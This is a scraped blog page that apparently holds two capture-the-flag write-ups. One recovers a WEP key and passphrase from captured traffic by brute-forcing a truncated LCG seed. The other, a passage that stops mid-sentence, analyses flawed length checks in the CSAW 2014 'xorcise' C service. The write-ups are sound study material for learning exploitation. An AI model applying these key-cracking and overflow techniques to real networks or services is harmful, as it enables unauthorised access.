<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDGrtoZ4wghovwbT-lq8hX0nE7-E136CGCY55UljC1z7TjawCMuGHoQ4YnuExFVucOZhYTDHbm-bU0xej1o8ck5JjoQOYtLM-AKHBZaNNTYxgZyziEvDoEODxG1SuwivLcPIgvnIkSxIKB/s1600/crack_key.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDGrtoZ4wghovwbT-lq8hX0nE7-E136CGCY55UljC1z7TjawCMuGHoQ4YnuExFVucOZhYTDHbm-bU0xej1o8ck5JjoQOYtLM-AKHBZaNNTYxgZyziEvDoEODxG1SuwivLcPIgvnIkSxIKB/s1600/crack_key.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: justify;">
Thanks to all the research on RC4, that wasn't hard :) Note that we got the 40-bit HEX key A4:3D:F6:F3:74. This is different from the WEP passphrase! In practice the WEP passphrase is converted to a HEX key, hence users only need to remember their passphrase. Though there is no official standard, there are quite popular <a href="https://stackoverflow.com/questions/2890438/how-can-i-generate-40-64-bit-wep-key-in-python/2890571#2890571">algorithms to convert the WEP passphrase to a 40-bit HEX key</a>. We will discuss this algorithm later!</div>
<br />
Using the HEX key we can decrypt all the traffic:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZH8Ut3C9PcZ1rA1ZJo9n3KJSL-_Y9AK8ZN1yYbRIi7JZD5XcWvftZVZowKlYxvbaJqqm9IbBgTW279ZpaH6S5wfS3PP5pbH95WUbX-lRJ779XFSu58ApXXBSRKtC4W3O9f2zwWXFHknMv/s1600/decap.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZH8Ut3C9PcZ1rA1ZJo9n3KJSL-_Y9AK8ZN1yYbRIi7JZD5XcWvftZVZowKlYxvbaJqqm9IbBgTW279ZpaH6S5wfS3PP5pbH95WUbX-lRJ779XFSu58ApXXBSRKtC4W3O9f2zwWXFHknMv/s1600/decap.png" /></a></div>
<br />
<div style="text-align: justify;">
This creates the file <span style="font-family: "Courier New",Courier,monospace;">file-dec.pcap</span> containing all the decrypted packets. The decrypted traffic can now be further inspected. There is a lot of traffic to m.reddit.com, imgur.com, and phisme.com. It was likely generated so we were able to crack the WEP encryption, since that requires many packets.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The challenge description mentioned "Due to a crappy javascript programmer there's one line of code missing, but I'm sure you can figure out which one". Unfortunately, using <a href="http://www.netresec.com/?page=NetworkMiner">NetworkMiner</a>, we were not able to find a useful JavaScript file. With Wireshark we see most of the traffic is TCP. Using "Statistics > Conversation List > TCP" we can list all TCP connections:</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsEqmnOICJzfQzvrf8bSC67DwjiNFSffFeyZVw9_hJ0q-_tbI37ehNTSJXapm5wmyvZ5rinTsRd2ZMTmi468Uqp8VEkqjIH585HTDn1cddyF7ek7-n5K9qoCD6_0E39xlR7PNCDDY-5rD/s1600/tcpcons.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsEqmnOICJzfQzvrf8bSC67DwjiNFSffFeyZVw9_hJ0q-_tbI37ehNTSJXapm5wmyvZ5rinTsRd2ZMTmi468Uqp8VEkqjIH585HTDn1cddyF7ek7-n5K9qoCD6_0E39xlR7PNCDDY-5rD/s1600/tcpcons.png" /></a></div>
<br />
<div style="text-align: justify;">
As expected port 80 and 443 are heavily used. More interestingly, a few connections also use the non-standard port 5000! Manual inspection reveals that this is HTTP traffic towards a custom router page. On this webpage the user can change the WEP passphrase. The page contains the following JavaScript code (I simplified it a little bit):</div>
<br />
<script src="https://gist.github.com/vanhoefm/58e287257277dcae8e78.js"></script><br />
So we need to find the WEP passphrase, which consists of lowercase and uppercase characters. And we're given the prefix of the SHA1 of this passphrase. We tried to brute-force small passphrases using the SHA1 hash alone, but without success.<br />
<br />
<br />
<b><span style="font-size: x-large;">Step 2: Obtaining the Passphrase</span></b><br />
<br />
<div style="text-align: justify;">
Our goal is to find the WEP passphrase. We know its derived 40-bit HEX key, and are given the prefix of its SHA1 hash. Unfortunately we can't simply invert the algorithm which converts a passphrase to a 40-bit HEX key. The problem is that one HEX key corresponds to many passphrases. This is why we are also given the SHA1 prefix: we can iterative over all passphrases corresponding to the HEX key, until we find one with the correct hash.</div>
<br />
<div style="text-align: justify;">
First we try to generate all passphrases which lead to our HEX key. For a detailed background on how the passphrase is converted to a key, see <a href="http://www.blackhat.com/presentations/bh-usa-01/TimNewsham/bh-usa-01-Tim-Newsham.ppt">this presentation</a>, and <a href="https://stackoverflow.com/questions/2890438/how-can-i-generate-40-64-bit-wep-key-in-python/2890571#2890571">this stackoverflow question</a>. Essentially the characters of the passphrase are XORed together in four groups, resulting in a seed for a PRNG. The key is constructed by letting the PRNG output five numbers, and taking the third significant byte of each output. An illustration makes this easier to understand:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzMQtnWO0ksgGve2sQGxWMOfUU-zTBJffezKN98EqHZEo-PUx1rLIV4XA6CGNMDPZk-tLMbVGiuZ5Xd27bYFCLQBP73yFVnxEIAPAtTyM8hvnwg-yNl8PmjjUQq3qcFLmVykbVxHudPhPB/s1600/40bitkey.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzMQtnWO0ksgGve2sQGxWMOfUU-zTBJffezKN98EqHZEo-PUx1rLIV4XA6CGNMDPZk-tLMbVGiuZ5Xd27bYFCLQBP73yFVnxEIAPAtTyM8hvnwg-yNl8PmjjUQq3qcFLmVykbVxHudPhPB/s1600/40bitkey.png" /></a></div>
<br />
<div style="text-align: justify;">
Notice that the seed of the PRNG defines the relations between the passphrase characters which must hold. So we want to recover the seed value, and to do this we need to know precisely which PRNG is being used. In this case a <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">linear congruential generator (LCG)</a> is used. At each iteration it outputs a 32-bit word, from which the third most significant byte is added to the key. So the most significant byte of the outputs is not used, which is equivalent to generating only 24-bits words at each iteration. Hence the most significant byte of the seed is also unused (and can be any value). Using the appropriate constants for the linear congruential generator we get:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk16bIknkpKrakH4j3K-9LQSAfdujFyJ7_1CilxVcxfZvt2CZO4MGK7JBa2mMprwbebaValoXAroukO20Ur_7uI7uMmt2K4LL4AwdwYrD9wIcw3On54zvCeL1s7EQChUD58laFhgZs1k7m/s1600/prng.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk16bIknkpKrakH4j3K-9LQSAfdujFyJ7_1CilxVcxfZvt2CZO4MGK7JBa2mMprwbebaValoXAroukO20Ur_7uI7uMmt2K4LL4AwdwYrD9wIcw3On54zvCeL1s7EQChUD58laFhgZs1k7m/s1600/prng.png" /></a></div>
<br />
<div style="text-align: justify;">
The initial value of X is the seed. We know the third most significant byte of the first five outputs (i.e., the next five values of X after setting the seed). In a sense, each output is truncated to one byte. Hence this is actually a <i>truncated</i> linear congruential generator. While it's possible to efficiently break these, <a href="https://dl.acm.org/citation.cfm?doid=22145.22184">and to determine the seed from the truncated outputs</a>, it would take some time to implement such attacks. Instead, we simply try all possible 2^24 seeds until we get the correct one:</div>
<br />
<script src="https://gist.github.com/vanhoefm/3d695e0269c89c7a7a1f.js"></script><br />
<div style="text-align: justify;">
This prints out the value 12766B, so the seed is 6B:76:12:??. Recall that we don't know the last byte because the most significant byte of the PRNG outputs are never used. We know that each byte of the seed is the XOR of an unknown amount of [A-Za-z] characters. By looking at the <a href="http://www.asciitable.com/">ASCII table</a>, we can derive that the byte 0x12 can only be generated by an even number of [A-Za-z] characters. Indeed, if an uneven number of [A-Za-z] characters were used, the resulting XOR value would always have more of its high order bits set. Similarly, the other two bytes 0x6B and 0x76 correspond to an uneven number of characters. This leaks information about the length of the password (look at the 40-bit key generator illustration to realize this). In particular the length can only be 10, 18, 26, and so on. Any length higher than 10 can't be brute-forced, so we assume the length is 10.</div>
<br />
<div style="text-align: justify;">
Using the seed value, and that the length of the passphrase P is 10, we get the following relations must hold between the differen characters:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5shwyk3Fr-javCdvBd8B9cliXqh6HWPPV93cRKxv98kjocN8n0Ns9qzafQGyyXwAAc3Zxzm8M7a8fizHHeXk9aoSdJeHIFIexmX90UwidYI7OBdON109t9pNdu1QGyp9LvcS5_s2lides/s1600/relations.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5shwyk3Fr-javCdvBd8B9cliXqh6HWPPV93cRKxv98kjocN8n0Ns9qzafQGyyXwAAc3Zxzm8M7a8fizHHeXk9aoSdJeHIFIexmX90UwidYI7OBdON109t9pNdu1QGyp9LvcS5_s2lides/s1600/relations.png" /></a></div>
<br />
<div style="text-align: justify;">
This means we only need to brute-force 7 characters out of 10. The inferred characters (according to the relations above) must also be either uppercase or lowercase characters. We calculate the SHA1 of every guess, and compare it to the hash in the JavaScript code. Using 52 parallel instances this took less than an hour to brute-force. The passphrase was:</div>
<br />
<div style="text-align: center;">
<span style="font-size: large;"><b>cgwepkeyxz</b></span></div>
<br />
<div style="text-align: justify;">
My final remark is that the bytes 0x6B and 0x76 implied that there were at least two lowercase characters. In hindsight, this could have been used to guess that all other characters were lowercase too. But I don't like guessing, and we had some powerful servers that were idle anyway... ;)</div>
Mathyhttp://www.blogger.com/profile/12266874794108836514noreply@blogger.com0tag:blogger.com,1999:blog-3500917063499850097.post-38040484012975061672014-09-24T02:17:00.000+02:002014-09-27T20:05:32.647+02:00CSAW 2014: xorcise challengeLast weekend our CTF team participated in CSAW. One of the challenges was particularly interesting, and this blog post gives a (somewhat) detailed overview on how to solve it. The <a href="https://github.com/ctfs/write-ups/blob/master/csaw-ctf-2014/xorcise/xorcise.c">source code</a> and <a href="https://github.com/ctfs/write-ups/raw/master/csaw-ctf-2014/xorcise/xorcise">binary executable</a> were given. This write-up is also available on the awesome <a href="https://github.com/ctfs/write-ups">write-ups repository</a>.<br />
<h3 style="-webkit-font-smoothing: antialiased; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 18px; font-weight: bold; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 20px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Length checking vulnerabilities: Part One</h3>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 10px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
By inspecting<span class="Apple-converted-space"> </span><a href="https://www.blogger.com/xorcise.c" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #4183c4; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">the source code</a><span class="Apple-converted-space"> </span>we see the binary is a service which listens on port 24001. New clients are handled in<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">int process_connection(int sockfd)</code>. This function reads one single packet, which is expected to be in the following format:</div>
<pre style="background-color: #f8f8f8; border-bottom-color: rgb(204, 204, 204); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(204, 204, 204); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 13px; line-height: 19px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 10px; padding-right: 10px; padding-top: 6px;"><code style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: none; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: none; border-width: initial; border-width: initial; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: pre;">struct cipher_data {
/** Header: Unencrypted and unauthenticated */
uint8_t length; /** Length of the bytes array */
uint8_t key[8];
/** Payload: Encrypted and (partly) authenticated */
uint8_t bytes[128];
};
</code></pre>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
As the comments indicate, the header is sent unencrypted. In particular this header includes an 8-byte key (which is chosen by the client). Roughly speaking the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">bytes</code><span class="Apple-converted-space"> </span>array is XORed with the key in blocks of 8 bytes. The function doing this decryption is<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">decipher(data, output)</code>, which will be investigated in more detail later on (because it contains a vulnerability). The<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">length</code><span class="Apple-converted-space"> </span>field the header contains the actual size of the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">bytes</code><span class="Apple-converted-space"> </span>array. This must be smaller or equal to 128. An attempt is made to assure the given length is valid:</div>
<pre style="background-color: #f8f8f8; border-bottom-color: rgb(204, 204, 204); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(204, 204, 204); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 13px; line-height: 19px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 10px; padding-right: 10px; padding-top: 6px;"><code style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: none; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: none; border-width: initial; border-width: initial; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: pre;">cipher_data encrypted;
ssize_t bytes_read = recv(sockfd, (uint8_t *)&encrypted, sizeof(encrypted), 0);
if (encrypted.length > bytes_read)
return -1;
</code></pre>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
However this check is flawed.<span class="Apple-converted-space"> </span><b style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Variable<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">bytes_read</code><span class="Apple-converted-space"> </span>is the length of the packet including the header</b>, while the program will treat the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">length</code><span class="Apple-converted-space"> </span>field as the size of the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">bytes</code><span class="Apple-converted-space"> </span>array. This means that as an attacker we can force the length to be bigger than 128.</div>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
The second vulnerability is in<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">decipher(data, output)</code>. This function decrypts the<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">bytes</code><span class="Apple-converted-space"> </span>array using the key. Somewhat simplified we have the following code:</div>
<pre style="background-color: #f8f8f8; border-bottom-color: rgb(204, 204, 204); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(204, 204, 204); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 13px; line-height: 19px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; overflow-x: auto; overflow-y: auto; padding-bottom: 6px; padding-left: 10px; padding-right: 10px; padding-top: 6px;"><code style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: none; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: none; border-width: initial; border-width: initial; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: pre;">uint32_t decipher(cipher_data *data, uint8_t *output)
{
uint8_t buf[MAX_BLOCKS * BLOCK_SIZE];
uint32_t loop, block_index;
memcpy(buf, data->bytes, sizeof(buf));
if ((data->length / BLOCK_SIZE) > MAX_BLOCKS)
data->length = BLOCK_SIZE * MAX_BLOCKS;
// Block-decryption loop
for (loop = 0; loop < data->length; loop += 8)
for (block_index = 0; block_index < 8; ++block_index)
buf[loop+block_index] ^= (0x8F ^ data->key[block_index]);
memcpy(output, buf, sizeof(buf));
}
</code></pre>
<div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 15px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
Note that<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">data->bytes</code><span class="Apple-converted-space"> </span>is copied to a local buffer, and this local buffer is then processed. The first if-test is an attempt to assure that<span class="Apple-converted-space"> </span><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(234, 234, 234); border-top-left-radius: 3px 3px; border-top-right-radius: 3px 3px; border-top-style: solid; border-top-width: 1px; font-family: Consolas, 'Liberation Mono', Courier, monospace; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; white-space: nowrap;">data->length</code><span class="Apple-converted-space"> </span>is not bigger than the local buffer. However this checked is flawed because in<span class="Apple-converted-space"> </span><b style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><code style="background-color: #f8f8f8; border-bottom-color: rgb(234, 234, 234); border-bottom-left-radius: 3px 3px; border-bottom-right-radius: 3px 3px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(234, 234, 234); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(234, 234, 234); border-right-style: solid; border-right-width: 1px; 